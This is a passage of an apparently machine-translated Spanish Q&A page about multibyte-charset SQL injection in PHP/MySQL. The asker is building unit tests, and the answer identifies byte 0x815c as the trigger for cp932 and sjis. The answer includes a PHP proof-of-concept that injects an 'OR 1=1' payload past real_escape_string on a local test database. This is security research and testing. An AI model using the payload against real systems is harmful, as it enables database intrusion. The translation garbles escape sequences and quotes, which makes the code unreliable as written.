php - prevent - sql injection ejemplos reales
¿Cómo crear un ataque de inyección SQL con Shift-JIS y CP932? (1)
El diablo está en los detalles ... empecemos con cómo la respuesta en cuestión describe la lista de conjuntos de caracteres vulnerables:
Para que funcione este ataque, necesitamos la codificación que el servidor espera en la conexión para codificar
''
como en ASCII, es decir,0x27
y para tener algún carácter cuyo byte final sea ASCII/
ie0x5c
. Como resultado, hay 5 de tales codificaciones soportadas en MySQL 5.6 por defecto:big5
,cp932
,gb2312
,gbk
ysjis
. Seleccionaremosgbk
aquí .
Esto nos da un contexto: 0xbf5c
se usa como ejemplo para gbk
, no como el carácter universal que se debe usar para todos los 5 juegos de caracteres.
Sucede que la misma secuencia de bytes también es un carácter válido en big5
y gb2312
.
En este punto, su pregunta se vuelve tan fácil como esto:
¿Qué secuencia de bytes es un carácter válido en
cp932
ysjis
y termina en0x5c
?
Para ser justos, la mayoría de las búsquedas de Google que probé para estos conjuntos de caracteres no dan ningún resultado útil. Pero encontré este archivo CP932.TXT , en el que si busca ''5c ''
(con el espacio allí), saltará a esta línea:
0x815C 0x2015 # BARRA HORIZONTAL
Y tenemos un ganador! :)
Algunos documentos de Oracle confirman que 0x815c
es el mismo personaje tanto para cp932
como para sjis
y PHP también lo reconoce:
php > var_dump(mb_strlen("/x81/x5c", "cp932"), mb_strlen("/x81/x5c", "sjis"));
int(1)
int(1)
Aquí hay una secuencia de comandos PoC para el ataque:
<?php
$username = ''username'';
$password = ''password'';
$mysqli = new mysqli(''localhost'', $username, $password);
foreach (array(''cp932'', ''sjis'') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES (''baz''), (''qux'')");
$input = "/x81/x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = ''{$input}'' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!/n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}
Estoy escribiendo algunas pruebas unitarias para asegurar que mi código no sea vulnerable a la inyección de SQL bajo varios conjuntos de caracteres.
Según esta respuesta , puede crear una vulnerabilidad inyectando /xbf/x27
usando uno de los siguientes conjuntos de caracteres: big5
, cp932
, gb2312
, gbk
y sjis
Esto se debe a que si su escape no está configurado correctamente, verá el 0x27
e intentará escapar de modo que se convierta en /xbf/x5c/x27
. Sin embargo, /xbf/x5c
es en realidad un carácter en estos conjuntos de caracteres, por lo que la cita ( 0x27
) se deja sin 0x27
.
Como he descubierto durante las pruebas, sin embargo, esto no es del todo cierto. Funciona para big5
, gb2312
y gbk
pero ni 0xbf27
ni 0xbf5c
son caracteres válidos en sjis
y cp932
.
Ambos
mb_strpos("abc/xbf/x27def","''",0,''sjis'')
y
mb_strpos("abc/xbf/x27def","''",0,''cp932'')
Retorno 4
. es decir, PHP no ve /xbf/x27
como un solo carácter. Esto devuelve false
para big5
, gb2312
y gbk
.
También esto:
mb_strlen("/xbf/x5c",''sjis'')
Devuelve 2
(devuelve 1
para gbk
).
Entonces, la pregunta es: ¿hay otra secuencia de caracteres que haga que sjis
y cp932
vulnerables a la inyección de SQL, o en realidad no son vulnerables en absoluto? o está mintiendo PHP, estoy completamente equivocado, y MySQL lo interpretará de manera totalmente diferente?